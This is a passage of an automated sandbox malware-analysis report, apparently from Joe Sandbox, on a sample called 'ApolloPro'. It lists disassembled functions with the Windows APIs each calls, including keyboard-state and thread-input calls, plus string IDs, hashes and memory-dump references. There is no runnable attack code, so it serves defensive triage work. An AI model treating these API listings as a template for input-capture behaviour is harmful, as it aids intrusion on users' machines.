                                                                    • Opcode ID: 32b0fa645752c59a89b46f210d58903f31bff0db81af2cc601ed21797fc86119
                                                                    • Instruction ID: 4260cd8370098b9d599270dc81d0031c5da68558c8018f1ca8a65369c1191ded
                                                                    • Opcode Fuzzy Hash: 32b0fa645752c59a89b46f210d58903f31bff0db81af2cc601ed21797fc86119
                                                                    • Instruction Fuzzy Hash: 996168B0900249AFEB21DF64D888EEEBBBDFF41308F144059E951E7252D731ADA5DB21
                                                                    Function 00837548 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 008375CA
                                                                    • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 008375CD
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 008375F1
                                                                    • _memset.LIBCMT ref: 00837602
                                                                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00837614
                                                                    • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0083768C
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$LongWindow_memset
                                                                    • String ID:
                                                                    • API String ID: 830647256-0
                                                                    • Opcode ID: 615683446dd28fcbc2589d6883263504c38618259d4a2348b103a8e2c2639416
                                                                    • Instruction ID: b29275a4ba10c4b75444c118bf8364e57642063b591d49e33f2124e1b4bbddcc
                                                                    • Opcode Fuzzy Hash: 615683446dd28fcbc2589d6883263504c38618259d4a2348b103a8e2c2639416
                                                                    • Instruction Fuzzy Hash: E86168B5900248AFDB20DFA8CC85EAE77F8FB49710F144199FA14E72A1D774AD41DBA0
                                                                    Function 008077B6 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 008077DD
                                                                    • SafeArrayAllocData.OLEAUT32(?), ref: 00807836
                                                                    • VariantInit.OLEAUT32(?), ref: 00807848
                                                                    • SafeArrayAccessData.OLEAUT32(?,?), ref: 00807868
                                                                    • VariantCopy.OLEAUT32(?,?), ref: 008078BB
                                                                    • SafeArrayUnaccessData.OLEAUT32(?), ref: 008078CF
                                                                    • VariantClear.OLEAUT32(?), ref: 008078E4
                                                                    • SafeArrayDestroyData.OLEAUT32(?), ref: 008078F1
                                                                    • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 008078FA
                                                                    • VariantClear.OLEAUT32(?), ref: 0080790C
                                                                    • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00807917
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                                    • String ID:
                                                                    • API String ID: 2706829360-0
                                                                    • Opcode ID: 97022f7b080fea2e2bea5e21c82ee20b1f382d0f842a9900d58aa09f9f58496d
                                                                    • Instruction ID: 6bf5e8f173da7a0e2c00385331c1bd6c98d25377d59b5e7e2b008205cdd03e4e
                                                                    • Opcode Fuzzy Hash: 97022f7b080fea2e2bea5e21c82ee20b1f382d0f842a9900d58aa09f9f58496d
                                                                    • Instruction Fuzzy Hash: 61413F35E001199FDB00DFA8DC489AEBBB9FF48354F008469EA55E7261D734AA45CFA4
                                                                    Function 00810508 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetKeyboardState.USER32(?), ref: 00810530
                                                                    • GetAsyncKeyState.USER32(000000A0), ref: 008105B1
                                                                    • GetKeyState.USER32(000000A0), ref: 008105CC
                                                                    • GetAsyncKeyState.USER32(000000A1), ref: 008105E6
                                                                    • GetKeyState.USER32(000000A1), ref: 008105FB
                                                                    • GetAsyncKeyState.USER32(00000011), ref: 00810613
                                                                    • GetKeyState.USER32(00000011), ref: 00810625
                                                                    • GetAsyncKeyState.USER32(00000012), ref: 0081063D
                                                                    • GetKeyState.USER32(00000012), ref: 0081064F
                                                                    • GetAsyncKeyState.USER32(0000005B), ref: 00810667
                                                                    • GetKeyState.USER32(0000005B), ref: 00810679
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: State$Async$Keyboard
                                                                    • String ID:
                                                                    • API String ID: 541375521-0
                                                                    • Opcode ID: dd47f4718100e62e19d8db1424bfe6ce507d8b99a32ad2994420da48230c4871
                                                                    • Instruction ID: 24bd22a666b478f2bb0b6a39ad6fd674dfc387172430a23d2446bb00c6671661
                                                                    • Opcode Fuzzy Hash: dd47f4718100e62e19d8db1424bfe6ce507d8b99a32ad2994420da48230c4871
                                                                    • Instruction Fuzzy Hash: 6441A7649047C96DFF3186648C043F6BEA9FF62304F08415AD6C6E66C2EAE499D4CF92
                                                                    Function 00828AA5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B4D37: __itow.LIBCMT ref: 007B4D62
                                                                      • Part of subcall function 007B4D37: __swprintf.LIBCMT ref: 007B4DAC
                                                                    • CoInitialize.OLE32 ref: 00828AED
                                                                    • CoUninitialize.OLE32 ref: 00828AF8
                                                                    • CoCreateInstance.OLE32(?,00000000,00000017,00843BBC,?), ref: 00828B58
                                                                    • IIDFromString.OLE32(?,?), ref: 00828BCB
                                                                    • VariantInit.OLEAUT32(?), ref: 00828C65
                                                                    • VariantClear.OLEAUT32(?), ref: 00828CC6
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                                                    • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                                    • API String ID: 834269672-1287834457
                                                                    • Opcode ID: d155d2c489f39471af725f5c0d1de9761f64da776cf65c36f83522be2317a4dc
                                                                    • Instruction ID: c3b45d1b8c7d52c9a91a3a96cef67678662a1f477833e223b65204011772a1fd
                                                                    • Opcode Fuzzy Hash: d155d2c489f39471af725f5c0d1de9761f64da776cf65c36f83522be2317a4dc
                                                                    • Instruction Fuzzy Hash: 4461697020A625DFCB10DF14D849B6AB7E8FF49728F00081DF985DB291DB74E984CBA2
                                                                    Function 0081BB06 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetErrorMode.KERNEL32(00000001), ref: 0081BB13
                                                                    • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0081BB89
                                                                    • GetLastError.KERNEL32 ref: 0081BB93
                                                                    • SetErrorMode.KERNEL32(00000000,READY), ref: 0081BC00
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Error$Mode$DiskFreeLastSpace
                                                                    • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                    • API String ID: 4194297153-14809454
                                                                    • Opcode ID: 987b04d55b0d259aff772e80843f931a390d857463c63c7c15e8c1aa1a00ba75
                                                                    • Instruction ID: 3b774c28d56eb32c1c2b30bd5b7f5e7f06a1434cba19d9ae512b5fd20342bcea
                                                                    • Opcode Fuzzy Hash: 987b04d55b0d259aff772e80843f931a390d857463c63c7c15e8c1aa1a00ba75
                                                                    • Instruction Fuzzy Hash: 1731D235A04208AFCB10DF68C849EEEB7B8FF45324F14802AE906D7296DB749D81CB51
                                                                    Function 00809B47 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                      • Part of subcall function 0080B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0080B7BD
                                                                    • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00809BCC
                                                                    • GetDlgCtrlID.USER32 ref: 00809BD7
                                                                    • GetParent.USER32 ref: 00809BF3
                                                                    • SendMessageW.USER32(00000000,?,00000111,?), ref: 00809BF6
                                                                    • GetDlgCtrlID.USER32(?), ref: 00809BFF
                                                                    • GetParent.USER32(?), ref: 00809C1B
                                                                    • SendMessageW.USER32(00000000,?,?,00000111), ref: 00809C1E
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$CtrlParent$ClassName_memmove
                                                                    • String ID: ComboBox$ListBox
                                                                    • API String ID: 1536045017-1403004172
                                                                    • Opcode ID: d07b22bd24ab4ef7df4f30422dd7d23264fc9794c363e3437e47a177131d6d99
                                                                    • Instruction ID: 8be172e3a1b03ea6e860e23c3ad162b51cc7ad914f21b9998090eb53310c0d3a
                                                                    • Opcode Fuzzy Hash: d07b22bd24ab4ef7df4f30422dd7d23264fc9794c363e3437e47a177131d6d99
                                                                    • Instruction Fuzzy Hash: AD21C775901204ABDF04EB64CC59EFEBBB5FF96310F500119F961932D2EB795815DE20
                                                                    Function 00809C32 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                      • Part of subcall function 0080B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0080B7BD
                                                                    • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00809CB5
                                                                    • GetDlgCtrlID.USER32 ref: 00809CC0
                                                                    • GetParent.USER32 ref: 00809CDC
                                                                    • SendMessageW.USER32(00000000,?,00000111,?), ref: 00809CDF
                                                                    • GetDlgCtrlID.USER32(?), ref: 00809CE8
                                                                    • GetParent.USER32(?), ref: 00809D04
                                                                    • SendMessageW.USER32(00000000,?,?,00000111), ref: 00809D07
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$CtrlParent$ClassName_memmove
                                                                    • String ID: ComboBox$ListBox
                                                                    • API String ID: 1536045017-1403004172
                                                                    • Opcode ID: 2524b0e2b67d80869d4b11ac8268db79f546a0c6f252fdadf8f6ed38f058e879
                                                                    • Instruction ID: 075e2891d4d2638aaf9fafade192e5b31b6014dce465763e634aa37766e552c5
                                                                    • Opcode Fuzzy Hash: 2524b0e2b67d80869d4b11ac8268db79f546a0c6f252fdadf8f6ed38f058e879
                                                                    • Instruction Fuzzy Hash: 2C21B275941204BFDB14EBA4CC85EFEBBA5FB55300F100015F951932A2EB798915DA20
                                                                    Function 00809D1B Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetParent.USER32 ref: 00809D27
                                                                    • GetClassNameW.USER32(00000000,?,00000100), ref: 00809D3C
                                                                    • _wcscmp.LIBCMT ref: 00809D4E
                                                                    • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00809DC9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ClassMessageNameParentSend_wcscmp
                                                                    • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                    • API String ID: 1704125052-3381328864
                                                                    • Opcode ID: 42e60fb6c4bf979a7e0ec02ca47f0d923a1c381956493fcaa23dc62a914545af
                                                                    • Instruction ID: e0d5f0b0f5c304de5282888907c23f743107f2a27376a7130c17ad60fe2b1ba6
                                                                    • Opcode Fuzzy Hash: 42e60fb6c4bf979a7e0ec02ca47f0d923a1c381956493fcaa23dc62a914545af
                                                                    • Instruction Fuzzy Hash: 661159BA28930BFAF6442620EC0BDA773ACFB01360B200017FE11F41D2FE6A6A105D52
                                                                    Function 00828F95 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • VariantInit.OLEAUT32(?), ref: 00828FC1
                                                                    • CoInitialize.OLE32(00000000), ref: 00828FEE
                                                                    • CoUninitialize.OLE32 ref: 00828FF8
                                                                    • GetRunningObjectTable.OLE32(00000000,?), ref: 008290F8
                                                                    • SetErrorMode.KERNEL32(00000001,00000029), ref: 00829225
                                                                    • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00843BDC), ref: 00829259
                                                                    • CoGetObject.OLE32(?,00000000,00843BDC,?), ref: 0082927C
                                                                    • SetErrorMode.KERNEL32(00000000), ref: 0082928F
                                                                    • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0082930F
                                                                    • VariantClear.OLEAUT32(?), ref: 0082931F
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                                    • String ID:
                                                                    • API String ID: 2395222682-0
                                                                    • Opcode ID: e9fb2b46513dd3bdac7372c8ef563e5edcb1b9af41a8dbe129d657fb5554f18c
                                                                    • Instruction ID: b38b5ea446dd434db4c7dd3f72c34bf4ac001b4036c46ae34643be657f32f2c1
                                                                    • Opcode Fuzzy Hash: e9fb2b46513dd3bdac7372c8ef563e5edcb1b9af41a8dbe129d657fb5554f18c
                                                                    • Instruction Fuzzy Hash: 3BC10071608319AFC700DF68D884A6AB7E9FF89308F00491DF99ADB251DB71ED45CB92
                                                                    Function 008119CD Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCurrentThreadId.KERNEL32 ref: 008119EF
                                                                    • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00810A67,?,00000001), ref: 00811A03
                                                                    • GetWindowThreadProcessId.USER32(00000000), ref: 00811A0A
                                                                    • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00810A67,?,00000001), ref: 00811A19
                                                                    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00811A2B
                                                                    • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00810A67,?,00000001), ref: 00811A44
                                                                    • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00810A67,?,00000001), ref: 00811A56
                                                                    • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00810A67,?,00000001), ref: 00811A9B
                                                                    • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00810A67,?,00000001), ref: 00811AB0
                                                                    • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00810A67,?,00000001), ref: 00811ABB
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                    • String ID:
                                                                    • API String ID: 2156557900-0
                                                                    • Opcode ID: 91b858b5973dc4dc0dc29e300bdc9680d1f88358d27a694ecdf6412073599bca
                                                                    • Instruction ID: 9ffdddb46a65a784498ec45c6863bed89baac00456a3cd70bdb8d259925247af
                                                                    • Opcode Fuzzy Hash: 91b858b5973dc4dc0dc29e300bdc9680d1f88358d27a694ecdf6412073599bca
                                                                    • Instruction Fuzzy Hash: BA31BA75641214AFEB109B10DC4CBAA3BAEFF65319F114115FA06C6190CBB49DC0CF60
                                                                    Function 007EC0E3 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetSysColor.USER32(00000008), ref: 007B260D
                                                                    • SetTextColor.GDI32(?,000000FF), ref: 007B2617
                                                                    • SetBkMode.GDI32(?,00000001), ref: 007B262C
                                                                    • GetStockObject.GDI32(00000005), ref: 007B2634
                                                                    • GetClientRect.USER32(?), ref: 007EC0FC
                                                                    • SendMessageW.USER32(?,00001328,00000000,?), ref: 007EC113
                                                                    • GetWindowDC.USER32(?), ref: 007EC11F
                                                                    • GetPixel.GDI32(00000000,?,?), ref: 007EC12E
                                                                    • ReleaseDC.USER32(?,00000000), ref: 007EC140
                                                                    • GetSysColor.USER32(00000005), ref: 007EC15E
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
                                                                    • String ID:
                                                                    • API String ID: 3430376129-0
                                                                    • Opcode ID: 177454f90679fd8c5e1a87a4882bda2fcd4b9f902b68463b66e59d5beb593375
                                                                    • Instruction ID: 25f9655a385788f997067b0a8b725217e27ea976ebc5607df441014a820a30f5
                                                                    • Opcode Fuzzy Hash: 177454f90679fd8c5e1a87a4882bda2fcd4b9f902b68463b66e59d5beb593375
                                                                    • Instruction Fuzzy Hash: B1117C35501244BFDB615FA4EC08BEA7BB1FF19321F114265FB6A950E2CB310952EF11
                                                                    Function 0080AD69 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • EnumChildWindows.USER32(?,0080B13A), ref: 0080B078
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ChildEnumWindows
                                                                    • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                    • API String ID: 3555792229-1603158881
                                                                    • Opcode ID: af83a482035cf603d3870ec6835dd9bd5eca27020b5b1e4721670d74b8951843
                                                                    • Instruction ID: 2f07e68d506465a623f07f4af55be5504d6e4e4c1092a47728b1adac7b5e37d5
                                                                    • Opcode Fuzzy Hash: af83a482035cf603d3870ec6835dd9bd5eca27020b5b1e4721670d74b8951843
                                                                    • Instruction Fuzzy Hash: 4591E770600606DACB9CDFA0C885BEEFB75FF15304F50811AE95AE3291DF346959CBA1
                                                                    Function 007B31F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetWindowLongW.USER32(?,000000EB), ref: 007B327E
                                                                      • Part of subcall function 007B218F: GetClientRect.USER32(?,?), ref: 007B21B8
                                                                      • Part of subcall function 007B218F: GetWindowRect.USER32(?,?), ref: 007B21F9
                                                                      • Part of subcall function 007B218F: ScreenToClient.USER32(?,?), ref: 007B2221
                                                                    • GetDC.USER32 ref: 007ED073
                                                                    • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 007ED086
                                                                    • SelectObject.GDI32(00000000,00000000), ref: 007ED094
                                                                    • SelectObject.GDI32(00000000,00000000), ref: 007ED0A9
                                                                    • ReleaseDC.USER32(?,00000000), ref: 007ED0B1
                                                                    • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 007ED13C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                                    • String ID: U
                                                                    • API String ID: 4009187628-3372436214
                                                                    • Opcode ID: c84a3d359a28574eb4f53ecf4af63ddc2508c24311448e133f54305f07563520
                                                                    • Instruction ID: 53f9aa5f52a973ddd849d5feaac4e9b4bd7fc01ab1d73936d6428ce8d852af99
                                                                    • Opcode Fuzzy Hash: c84a3d359a28574eb4f53ecf4af63ddc2508c24311448e133f54305f07563520
                                                                    • Instruction Fuzzy Hash: DA71E130501249DFCF318F64C884AEA7BB5FF4D360F184269EE559A2A6C7398C92DF61
